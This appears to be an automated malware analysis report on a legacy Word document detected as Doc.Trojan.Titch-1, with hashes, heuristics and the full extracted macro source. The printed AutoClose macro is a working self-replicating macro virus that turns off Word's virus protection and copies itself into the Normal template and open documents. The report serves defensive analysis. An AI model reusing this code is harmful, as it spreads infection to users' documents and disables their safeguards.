Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 65a9882c91a753c7…

MALICIOUS

Office (OLE)

29.0 KB Created: 2001-02-11 03:38:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 139006600a2c071d8122cdcd18c9a545 SHA-1: 771092f4442fc46652b5241dda346d63aef24fe0 SHA-256: 65a9882c91a753c778ad1eeb4a6770bfcc9bfdc5ce11f256f293598bbae6416a
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a legacy WordBasic AutoClose macro, identified by ClamAV as Doc.Trojan.Titch-1. The AutoClose macro attempts to copy itself to the Normal template and the active document, indicating a persistence mechanism. The macro also attempts to export itself to a temporary file 'c:\UPC116STAG.tmp', which could be used to stage further malicious activity.

Heuristics 4

  • ClamAV: Doc.Trojan.Titch-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Titch-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1853 bytes
SHA-256: 9d8d9548523af0f7f989d5840a27522a2e3b93cad744ec6bc07bdc85c237c202
Detection
ClamAV: Doc.Trojan.Titch-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UPC116STAG"
Sub AutoClose()
Attribute AutoClose.VB_Description = "Macro créée le 25/05/00 par PSA"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Normal.Arbind2000.AutoClose"
'UPC116STAG
'An experiment in Macro programming ;)
'Minimum stealth, no encryption, No payload, No mail replication
'If you had looked you could have found and deleted it but..
'You probably never knew it was here!
'SAD CODE MODIFIED DEC 2000 FOR TRACKING IN HETHEL
  On Error Resume Next
  Application.Options.VirusProtection = False
  Application.Options.SaveNormalPrompt = True
  Application.Options.ConfirmConversions = False
  Dim x As Integer
  Dim found As Boolean
  found = False
  x = 1
  For x = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents.Item(x).CodeModule.Lines(2, 1) = "'UPC116STAG" Then found = True
  Next x
  If Not found Then
    Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "UPC116STAG", wdOrganizerObjectProjectItems
  End If
  If NormalTemplate.Saved = False Then NormalTemplate.Save
  
  found = False
  x = 1
  For x = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents.Item(x).CodeModule.Lines(2, 1) = "'UPC116STAG" Then found = True
  Next x
  If Not found Then
    NormalTemplate.VBProject.VBComponents("UPC116STAG").Export ("c:\UPC116STAG.tmp")
    ActiveDocument.VBProject.VBComponents.Import ("c:\UPC116STAG.tmp")
    ActiveDocument.SaveAs ActiveDocument.FullName
    Kill ("c:\UPC116STAG.tmp")
  End If
End Sub